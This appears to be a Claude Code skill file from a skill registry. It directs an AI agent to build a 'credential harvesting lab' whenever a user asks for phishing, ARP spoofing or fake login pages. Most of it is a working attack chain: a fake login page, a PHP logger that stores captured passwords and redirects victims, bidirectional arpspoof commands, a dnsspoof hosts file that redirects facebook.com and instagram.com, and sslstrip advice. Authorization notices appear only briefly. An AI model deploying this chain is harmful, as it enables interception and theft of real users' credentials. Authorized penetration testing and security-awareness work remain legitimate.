Claude-skill-registry Credential Harvesting Lab Setup

This skill should be used when the user asks to "build a phishing lab", "perform credential harvesting", "set up ARP spoofing", "configure DNS spoofing", "create a fake login page", or "test social engineering attacks". It provides techniques for building a credential harvesting environment.

install

source · Clone the upstream repo

git clone https://github.com/majiayu000/claude-skill-registry

Claude Code · Install into ~/.claude/skills/

T=$(mktemp -d) && git clone --depth=1 https://github.com/majiayu000/claude-skill-registry "$T" && mkdir -p ~/.claude/skills && cp -r "$T/skills/data/credential-harvesting-lab" ~/.claude/skills/majiayu000-claude-skill-registry-credential-harvesting-lab-setup && rm -rf "$T"

manifest: skills/data/credential-harvesting-lab/SKILL.md

Credential Harvesting Lab Setup

Purpose

Build a controlled credential harvesting lab environment using ARP spoofing, DNS spoofing, and Apache web server hosting. This skill covers creating phishing pages, redirecting traffic, and capturing credentials for authorized penetration testing and security awareness demonstrations.

Prerequisites

Required Environment

Kali Linux or similar penetration testing OS
Apache2 web server
dsniff package (arpspoof, dnsspoof)
Network access to target segment
Written authorization for testing

Required Knowledge

Basic networking concepts
HTML/PHP fundamentals
Linux command-line proficiency
ARP and DNS protocol understanding

Outputs and Deliverables

Apache Web Server - Configured fake website hosting
Phishing Page - Convincing login page replica
Traffic Redirection - ARP and DNS spoofing setup
Credential Logs - Captured username and password data

Core Workflow

Phase 1: Apache Web Server Setup

Install and configure Apache:

# Update packages and install Apache
sudo apt update && sudo apt install apache2 -y

# Start Apache service
sudo service apache2 start

# Check service status
sudo service apache2 status

# Verify installation
curl http://localhost
# Or open browser to http://localhost

Apache Directory Structure:

/var/www/html/          # Web root directory
├── index.html          # Default landing page
├── login.php           # Credential capture script
└── login_log.txt       # Logged credentials

Phase 2: Create Phishing Page

Navigate to web directory:

# Move to web root
cd /var/www/html/

# Backup original index file
sudo mv index.html index.html.backup

# Create new phishing page
sudo nano index.html

Sample Login Page (index.html):

<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
    <title>Login</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #fafafa;
            height: 100vh;
            margin: 0;
            display: flex;
            justify-content: center;
            align-items: center;
        }
        .container {
            background-color: white;
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
            width: 300px;
        }
        input {
            width: calc(100% - 20px);
            padding: 10px;
            margin: 8px 0;
            box-sizing: border-box;
        }
        button {
            background-color: #3897f0;
            color: white;
            padding: 10px;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            width: calc(100% - 20px);
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>Login</h1>
        <form action="/login.php" method="post">
            <label for="username">Username</label>
            <input type="text" id="username" name="username" 
                   placeholder="Username" required>
            <label for="password">Password</label>
            <input type="password" id="password" name="password" 
                   placeholder="Password" required>
            <button type="submit">Log In</button>
        </form>
    </div>
</body>
</html>

Phase 3: Credential Capture Script

Create PHP script to log credentials:

sudo nano /var/www/html/login.php

PHP Credential Logger (login.php):

<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $username = filter_var($_POST["username"], FILTER_SANITIZE_STRING);
    $password = filter_var($_POST["password"], FILTER_SANITIZE_STRING);
    
    $loginInfo = "Username: $username\nPassword: $password\n\n";
    $filePath = "/var/www/html/login_log.txt";
    
    if (file_put_contents($filePath, $loginInfo, FILE_APPEND) !== false) {
        // Redirect to legitimate site after capture
        header("Location: https://www.google.com");
        exit();
    } else {
        $errorMessage = error_get_last()['message'];
        echo "Error: $errorMessage";
    }
} else {
    echo "Invalid request method";
}
?>

Phase 4: Configure Logging

Set up credential log file:

# Create log file
sudo touch /var/www/html/login_log.txt

# Set permissions for logging
sudo chmod 644 /var/www/html/login_log.txt
sudo chmod -R 755 /var/www/html

# Ensure www-data can write
sudo chown www-data:www-data /var/www/html/login_log.txt

# View captured credentials
cat /var/www/html/login_log.txt

# Monitor in real-time
tail -f /var/www/html/login_log.txt

Phase 5: Enable IP Forwarding

Configure system for traffic forwarding:

# Enable IP forwarding (temporary)
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

# Verify forwarding enabled
cat /proc/sys/net/ipv4/ip_forward
# Should return: 1

# Permanent IP forwarding (optional)
sudo nano /etc/sysctl.conf
# Uncomment: net.ipv4.ip_forward=1
sudo sysctl -p

Phase 6: Install Spoofing Tools

Install dsniff package:

# Install dsniff (includes arpspoof and dnsspoof)
sudo apt update
sudo apt install dsniff -y

# Verify installation
which arpspoof
which dnsspoof

Phase 7: ARP Spoofing Attack

Position attacker as man-in-the-middle:

# Get network information
ip addr show
ip route | grep default

# Identify target and gateway
# Target: 192.168.1.100
# Gateway: 192.168.1.1
# Interface: eth0

# ARP spoof target (tell target we are gateway)
sudo arpspoof -i eth0 -t 192.168.1.100 192.168.1.1

# ARP spoof gateway (tell gateway we are target)
# Run in separate terminal
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.100

ARP Spoof Verification:

# On target machine, check ARP cache
arp -a
# Gateway MAC should match attacker MAC

Phase 8: DNS Spoofing Attack

Redirect DNS queries to phishing server:

# Create hosts file for DNS spoofing
sudo nano ~/hosts.txt

DNS Hosts File (hosts.txt):

192.168.1.50 facebook.com
192.168.1.50 www.facebook.com
192.168.1.50 login.facebook.com
192.168.1.50 instagram.com
192.168.1.50 www.instagram.com

Replace

192.168.1.50

with your Kali machine IP.

# Start DNS spoofing
sudo dnsspoof -i eth0 -f ~/hosts.txt

# Verify DNS spoofing
nslookup facebook.com
# Should return your Kali IP

Phase 9: Combined Attack Execution

Run complete attack chain:

# Terminal 1: Enable IP forwarding
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

# Terminal 2: ARP spoof (target → gateway)
sudo arpspoof -i eth0 -t 192.168.1.100 192.168.1.1

# Terminal 3: ARP spoof (gateway → target)
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.100

# Terminal 4: DNS spoofing
sudo dnsspoof -i eth0 -f ~/hosts.txt

# Terminal 5: Monitor credentials
tail -f /var/www/html/login_log.txt

Phase 10: Troubleshooting

Address common issues:

Port 53 Conflicts:

# Check for processes using port 53
sudo lsof -i :53

# Stop conflicting service
sudo systemctl stop systemd-resolved

# Or kill specific process
sudo kill -9 <PID>

Apache Not Logging:

# Check Apache error log
sudo tail -f /var/log/apache2/error.log

# Verify PHP module installed
sudo apt install libapache2-mod-php

# Restart Apache
sudo service apache2 restart

HSTS Protection Issues:

Modern browsers cache HSTS policies
Pre-loaded HSTS sites cannot be spoofed
Use sslstrip for HTTP downgrade (limited effectiveness)
Target non-HSTS sites for testing

Quick Reference

Essential Commands

Command	Purpose
`sudo service apache2 start`	Start web server
`echo 1 > /proc/sys/net/ipv4/ip_forward`	Enable forwarding
`sudo arpspoof -i eth0 -t TARGET GATEWAY`	ARP spoof target
`sudo dnsspoof -i eth0 -f hosts.txt`	DNS spoofing
`tail -f login_log.txt`	Monitor credentials

File Locations

File	Purpose
`/var/www/html/index.html`	Phishing page
`/var/www/html/login.php`	Credential capture
`/var/www/html/login_log.txt`	Logged credentials
`~/hosts.txt`	DNS spoof mappings

Attack Components

Component	Tool
Web hosting	Apache2
ARP poisoning	arpspoof
DNS redirection	dnsspoof
Credential logging	PHP script

Constraints and Limitations

Legal Requirements

Obtain written authorization before testing
Only test on networks you own or have permission
Document all activities
Never target production systems without approval

Technical Limitations

HSTS prevents HTTP downgrade on major sites
Browser caching may preserve legitimate DNS
SSL/TLS sites show certificate warnings
Modern security tools detect ARP spoofing

Troubleshooting

No Traffic Captured

Symptoms: ARP spoofing active but no credentials logged

Solutions:

Verify IP forwarding is enabled
Check both ARP spoof directions running
Confirm target is on same network segment
Verify Apache is serving pages

Certificate Warnings

Symptoms: Target sees SSL certificate errors

Solutions:

Target HTTP-only sites for testing
Use sslstrip for downgrade attempts
Create self-signed certificates
Accept limitations on HTTPS sites

DNS Spoofing Not Working

Symptoms: DNS queries not redirected

Solutions:

Stop systemd-resolved service
Verify hosts.txt format correct
Ensure dnsspoof running on correct interface
Check for firewall blocking port 53